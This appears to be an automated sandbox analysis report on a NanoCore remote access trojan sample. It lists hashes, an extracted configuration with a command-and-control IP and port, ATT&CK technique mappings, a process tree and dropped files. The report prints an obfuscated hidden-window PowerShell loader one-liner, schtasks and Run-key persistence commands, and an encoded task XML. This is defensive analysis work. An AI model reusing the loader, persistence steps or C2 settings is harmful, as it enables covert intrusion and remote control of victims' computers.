nanocore | 3cd4e2b09d674c052a784941e1f6504856efd125ff69cbe6bb8b7df1777f3ded

Analysis

max time kernel
149s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
02-09-2024 15:51

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General

Target

8921FD_0279710820_2024092_017820935610_GDT0167836390-MALAYSIA.exe
Size

575KB
MD5

57b1a55d388f0beeed00b19b8370c05b
SHA1

c0055a01f0b7dc7a78178b64d37ef6fd67dcb314
SHA256

2d3b04606612dc4008fd108cf2a825a8c1e58e8ab5578abbbac77ea39ed4f73e
SHA512

19fc0e1b9cc4a9bdce1670be9d7516e5f64bab145cf87467136724ef18817636e66ede0016623959d21535c2819649871e1d287b9bd4b34a7525c98aac4009ee
SSDEEP

12288:Tv3EFV27dnw8BrOkOXyekQNyyXYpKvgZ4eu+72Tt36eX0dlPZ:DU2dn/B3O8QssqKvgqeu+4tnuX

Score

10^/10

nanocore discovery execution keylogger persistence spyware stealer trojan

Malware Config

Extracted

Family

nanocore

Version

1.2.2.0

134.19.179.203:31279

Mutex

e3a8bae3-78c2-40a6-9bf2-4d7fbecfd001

Attributes

activate_away_mode
true
backup_connection_host
backup_dns_server
8.8.4.4
buffer_size
65535
build_time
2024-06-11T02:19:05.486470936Z
bypass_user_account_control
false
bypass_user_account_control_data
PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTE2Ij8+DQo8VGFzayB2ZXJzaW9uPSIxLjIiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmRvd3MvMjAwNC8wMi9taXQvdGFzayI+DQogIDxSZWdpc3RyYXRpb25JbmZvIC8+DQogIDxUcmlnZ2VycyAvPg0KICA8UHJpbmNpcGFscz4NCiAgICA8UHJpbmNpcGFsIGlkPSJBdXRob3IiPg0KICAgICAgPExvZ29uVHlwZT5JbnRlcmFjdGl2ZVRva2VuPC9Mb2dvblR5cGU+DQogICAgICA8UnVuTGV2ZWw+SGlnaGVzdEF2YWlsYWJsZTwvUnVuTGV2ZWw+DQogICAgPC9QcmluY2lwYWw+DQogIDwvUHJpbmNpcGFscz4NCiAgPFNldHRpbmdzPg0KICAgIDxNdWx0aXBsZUluc3RhbmNlc1BvbGljeT5QYXJhbGxlbDwvTXVsdGlwbGVJbnN0YW5jZXNQb2xpY3k+DQogICAgPERpc2FsbG93U3RhcnRJZk9uQmF0dGVyaWVzPmZhbHNlPC9EaXNhbGxvd1N0YXJ0SWZPbkJhdHRlcmllcz4NCiAgICA8U3RvcElmR29pbmdPbkJhdHRlcmllcz5mYWxzZTwvU3RvcElmR29pbmdPbkJhdHRlcmllcz4NCiAgICA8QWxsb3dIYXJkVGVybWluYXRlPnRydWU8L0FsbG93SGFyZFRlcm1pbmF0ZT4NCiAgICA8U3RhcnRXaGVuQXZhaWxhYmxlPmZhbHNlPC9TdGFydFdoZW5BdmFpbGFibGU+DQogICAgPFJ1bk9ubHlJZk5ldHdvcmtBdmFpbGFibGU+ZmFsc2U8L1J1bk9ubHlJZk5ldHdvcmtBdmFpbGFibGU+DQogICAgPElkbGVTZXR0aW5ncz4NCiAgICAgIDxTdG9wT25JZGxlRW5kPmZhbHNlPC9TdG9wT25JZGxlRW5kPg0KICAgICAgPFJlc3RhcnRPbklkbGU+ZmFsc2U8L1Jlc3RhcnRPbklkbGU+DQogICAgPC9JZGxlU2V0dGluZ3M+DQogICAgPEFsbG93U3RhcnRPbkRlbWFuZD50cnVlPC9BbGxvd1N0YXJ0T25EZW1hbmQ+DQogICAgPEVuYWJsZWQ+dHJ1ZTwvRW5hYmxlZD4NCiAgICA8SGlkZGVuPmZhbHNlPC9IaWRkZW4+DQogICAgPFJ1bk9ubHlJZklkbGU+ZmFsc2U8L1J1bk9ubHlJZklkbGU+DQogICAgPFdha2VUb1J1bj5mYWxzZTwvV2FrZVRvUnVuPg0KICAgIDxFeGVjdXRpb25UaW1lTGltaXQ+UFQwUzwvRXhlY3V0aW9uVGltZUxpbWl0Pg0KICAgIDxQcmlvcml0eT40PC9Qcmlvcml0eT4NCiAgPC9TZXR0aW5ncz4NCiAgPEFjdGlvbnMgQ29udGV4dD0iQXV0aG9yIj4NCiAgICA8RXhlYz4NCiAgICAgIDxDb21tYW5kPiIjRVhFQ1VUQUJMRVBBVEgiPC9Db21tYW5kPg0KICAgICAgPEFyZ3VtZW50cz4kKEFyZzApPC9Bcmd1bWVudHM+DQogICAgPC9FeGVjPg0KICA8L0FjdGlvbnM+DQo8L1Rhc2s+
clear_access_control
true
clear_zone_identifier
false
connect_delay
4000
connection_port
31279
default_group
Default
enable_debug_mode
true
gc_threshold
1.048576e+07
keep_alive_timeout
30000
keyboard_logging
false
lan_timeout
2500
max_packet_size
1.048576e+07
mutex
e3a8bae3-78c2-40a6-9bf2-4d7fbecfd001
mutex_timeout
5000
prevent_system_sleep
false
primary_connection_host
134.19.179.203
primary_dns_server
8.8.8.8
request_elevation
true
restart_delay
5000
run_delay
0
run_on_startup
false
set_critical_process
true
timeout_interval
5000
use_custom_dns_server
false
version
1.2.2.0
wan_timeout
8000

Signatures

NanoCore
NanoCore is a remote access tool (RAT) with a variety of capabilities.
keylogger trojan stealer spyware nanocore

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3644	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Control Panel\International\Geo\Nation	8921FD_0279710820_2024092_017820935610_GDT0167836390-MALAYSIA.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\WPA Monitor = "C:\\Program Files (x86)\\WPA Monitor\\wpamon.exe"	wab.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
21	drive.google.com
22	drive.google.com

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\postscuttella\felix.lnk	8921FD_0279710820_2024092_017820935610_GDT0167836390-MALAYSIA.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
1128	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
3644	powershell.exe
1128	wab.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3644 set thread context of 1128	3644	powershell.exe	103

Drops file in Program Files directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Common Files\bekldningsgenstands\Handelskurs247.fri	8921FD_0279710820_2024092_017820935610_GDT0167836390-MALAYSIA.exe
File created	C:\Program Files (x86)\WPA Monitor\wpamon.exe	wab.exe
File opened for modification	C:\Program Files (x86)\WPA Monitor\wpamon.exe	wab.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	8921FD_0279710820_2024092_017820935610_GDT0167836390-MALAYSIA.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wab.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
404	schtasks.exe
3712	schtasks.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
3644	powershell.exe
3644	powershell.exe
3644	powershell.exe
3644	powershell.exe
3644	powershell.exe
3644	powershell.exe
3644	powershell.exe
3644	powershell.exe
3644	powershell.exe
3644	powershell.exe
1128	wab.exe
1128	wab.exe
1128	wab.exe
1128	wab.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1128	wab.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
3644	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3644	powershell.exe
Token: SeDebugPrivilege	1128	wab.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 4692 wrote to memory of 3644	4692	8921FD_0279710820_2024092_017820935610_GDT0167836390-MALAYSIA.exe	93
PID 4692 wrote to memory of 3644	4692	8921FD_0279710820_2024092_017820935610_GDT0167836390-MALAYSIA.exe	93
PID 4692 wrote to memory of 3644	4692	8921FD_0279710820_2024092_017820935610_GDT0167836390-MALAYSIA.exe	93
PID 3644 wrote to memory of 1128	3644	powershell.exe	103
PID 3644 wrote to memory of 1128	3644	powershell.exe	103
PID 3644 wrote to memory of 1128	3644	powershell.exe	103
PID 3644 wrote to memory of 1128	3644	powershell.exe	103
PID 3644 wrote to memory of 1128	3644	powershell.exe	103
PID 1128 wrote to memory of 3712	1128	wab.exe	104
PID 1128 wrote to memory of 3712	1128	wab.exe	104
PID 1128 wrote to memory of 3712	1128	wab.exe	104
PID 1128 wrote to memory of 404	1128	wab.exe	106
PID 1128 wrote to memory of 404	1128	wab.exe	106
PID 1128 wrote to memory of 404	1128	wab.exe	106

C:\Users\Admin\AppData\Local\Temp\8921FD_0279710820_2024092_017820935610_GDT0167836390-MALAYSIA.exe
"C:\Users\Admin\AppData\Local\Temp\8921FD_0279710820_2024092_017820935610_GDT0167836390-MALAYSIA.exe"
1⤵
- Checks computer location settings
- Drops file in System32 directory
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4692
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden ; $Kviksoelv=Get-Content 'C:\Users\Admin\AppData\Local\Unspliced\fordelen\ecuadoriansk\Srgerand\Aandeligs.spi';$Spangled=$Kviksoelv.SubString(19245,3);.$Spangled($Kviksoelv)
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3644
- - C:\Program Files (x86)\windows mail\wab.exe
    "C:\Program Files (x86)\windows mail\wab.exe"
    3⤵
    - Adds Run key to start application
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1128
  - - C:\Windows\SysWOW64\schtasks.exe
      "schtasks.exe" /create /f /tn "WPA Monitor" /xml "C:\Users\Admin\AppData\Local\Temp\tmp7BE2.tmp"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:3712
  - - C:\Windows\SysWOW64\schtasks.exe
      "schtasks.exe" /create /f /tn "WPA Monitor Task" /xml "C:\Users\Admin\AppData\Local\Temp\tmp7DB8.tmp"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:404

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4396,i,1330210614411927383,9239043499051775691,262144 --variations-seed-version --mojo-platform-channel-handle=1320 /prefetch:8
1⤵
PID:4028

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wdqrgo3w.d1i.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp7BE2.tmp

Filesize
1KB

MD5
5ccc18c3f1852b87de26278cba055c13

SHA1
9233db8c004ac3e1b34c0782bac706a17bdc43ae

SHA256
7d588a9e361cccb0a3c97ec7ac99efe60e82932c64ab6efbfc929f51acb38432

SHA512
1ad0e9d090e93bdfa76c7ff60c5492c43265f53adf0ac23a7c831231e12822b11bae6d0840f92c8deddc9e08dbb383d24073ece791feaf36687692a437294ed7

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp7DB8.tmp

Filesize
1KB

MD5
a246b3561d823177f3586e629f144233

SHA1
0f05d12e55a1d2e5e6a4f307c193882fba093315

SHA256
6abae7707b06e52b58f537b335e367cc54b093e899d78f16e94ceaf7ceafca52

SHA512
4246aa9a96331e2c7e36b37fa778e31ecae055c77164e0dc673aa50cdec368f08d356ab06ef1a4540816c474828048ab1bebed7e211a4eb929f2918e1fac9c6d

Download Submit
C:\Users\Admin\AppData\Local\Unspliced\fordelen\ecuadoriansk\Srgerand\Aandeligs.spi

Filesize
53KB

MD5
a37c3952ee3893cbf89f852bfd3002b7

SHA1
d788b7529db250df7e9e8ad7f3fa8f3bc4ad9035

SHA256
f51cb72204c964faeb4992fcadacc7a127fa3fec435700b2c09aa46fa47ffaf7

SHA512
7b94695d8788f692cb996becd245795d04d4cdfce4708c0d28095f82f004fe11397121eddabdca9813bca9fd7d27f596983bf83d059effc6ce128c8a49694e7e

Download Submit
C:\Users\Admin\AppData\Local\Unspliced\fordelen\ecuadoriansk\Srgerand\Erstatningsstrengen.dis

Filesize
405KB

MD5
d4717b9c25cc359ed707f3b965462a0a

SHA1
0e9947033f4ea69af4078c40fec3866b5ddd1be7

SHA256
d85a65228850c98722cfaa887722406605a188246801819b64b327520693abf3

SHA512
3dd4f606299763623e4ff78acd04b9b23eee93ccccf0a9b0fec34deb8e1841c16891d7d09b982def786c09e4f7b5e4eb7bd78febe45260c940053294f74beec6

Download Submit
memory/1128-76-0x00000000229C0000-0x00000000229CC000-memory.dmp

Filesize
48KB

Download
memory/1128-77-0x0000000022ED0000-0x0000000022EEE000-memory.dmp

Filesize
120KB

Download
memory/1128-75-0x00000000229B0000-0x00000000229BA000-memory.dmp

Filesize
40KB

Download
memory/1128-67-0x00000000228A0000-0x00000000228AA000-memory.dmp

Filesize
40KB

Download
memory/1128-66-0x0000000022A80000-0x0000000022B1C000-memory.dmp

Filesize
624KB

Download
memory/1128-78-0x0000000023540000-0x000000002354A000-memory.dmp

Filesize
40KB

Download
memory/1128-64-0x0000000000AB0000-0x0000000000AEA000-memory.dmp

Filesize
232KB

Download
memory/1128-65-0x00000000229E0000-0x0000000022A72000-memory.dmp

Filesize
584KB

Download
memory/1128-61-0x0000000000AB0000-0x0000000001D04000-memory.dmp

Filesize
18.3MB

Download
memory/3644-37-0x00000000730D0000-0x0000000073880000-memory.dmp

Filesize
7.7MB

Download
memory/3644-46-0x00000000730D0000-0x0000000073880000-memory.dmp

Filesize
7.7MB

Download
memory/3644-30-0x00000000064E0000-0x0000000006502000-memory.dmp

Filesize
136KB

Download
memory/3644-33-0x0000000008170000-0x00000000087EA000-memory.dmp

Filesize
6.5MB

Download
memory/3644-35-0x00000000730D0000-0x0000000073880000-memory.dmp

Filesize
7.7MB

Download
memory/3644-36-0x00000000730D0000-0x0000000073880000-memory.dmp

Filesize
7.7MB

Download
memory/3644-8-0x00000000730DE000-0x00000000730DF000-memory.dmp

Filesize
4KB

Download
memory/3644-29-0x00000000063F0000-0x000000000640A000-memory.dmp

Filesize
104KB

Download
memory/3644-40-0x00000000730D0000-0x0000000073880000-memory.dmp

Filesize
7.7MB

Download
memory/3644-39-0x00000000730DE000-0x00000000730DF000-memory.dmp

Filesize
4KB

Download
memory/3644-41-0x00000000730D0000-0x0000000073880000-memory.dmp

Filesize
7.7MB

Download
memory/3644-43-0x00000000730D0000-0x0000000073880000-memory.dmp

Filesize
7.7MB

Download
memory/3644-42-0x00000000087F0000-0x000000000B391000-memory.dmp

Filesize
43.6MB

Download
memory/3644-44-0x00000000730D0000-0x0000000073880000-memory.dmp

Filesize
7.7MB

Download
memory/3644-45-0x00000000730D0000-0x0000000073880000-memory.dmp

Filesize
7.7MB

Download
memory/3644-31-0x0000000007540000-0x0000000007AE4000-memory.dmp

Filesize
5.6MB

Download
memory/3644-48-0x00000000730D0000-0x0000000073880000-memory.dmp

Filesize
7.7MB

Download
memory/3644-63-0x00000000730D0000-0x0000000073880000-memory.dmp

Filesize
7.7MB

Download
memory/3644-28-0x0000000006EF0000-0x0000000006F86000-memory.dmp

Filesize
600KB

Download
memory/3644-27-0x0000000006440000-0x000000000648C000-memory.dmp

Filesize
304KB

Download
memory/3644-26-0x0000000005F40000-0x0000000005F5E000-memory.dmp

Filesize
120KB

Download
memory/3644-16-0x0000000005930000-0x0000000005C84000-memory.dmp

Filesize
3.3MB

Download
memory/3644-15-0x00000000730D0000-0x0000000073880000-memory.dmp

Filesize
7.7MB

Download
memory/3644-14-0x0000000005700000-0x0000000005766000-memory.dmp

Filesize
408KB

Download
memory/3644-13-0x0000000005030000-0x0000000005096000-memory.dmp

Filesize
408KB

Download
memory/3644-12-0x0000000004F90000-0x0000000004FB2000-memory.dmp

Filesize
136KB

Download
memory/3644-11-0x00000000050D0000-0x00000000056F8000-memory.dmp

Filesize
6.2MB

Download
memory/3644-10-0x00000000730D0000-0x0000000073880000-memory.dmp

Filesize
7.7MB

Download
memory/3644-9-0x0000000004960000-0x0000000004996000-memory.dmp

Filesize
216KB

Download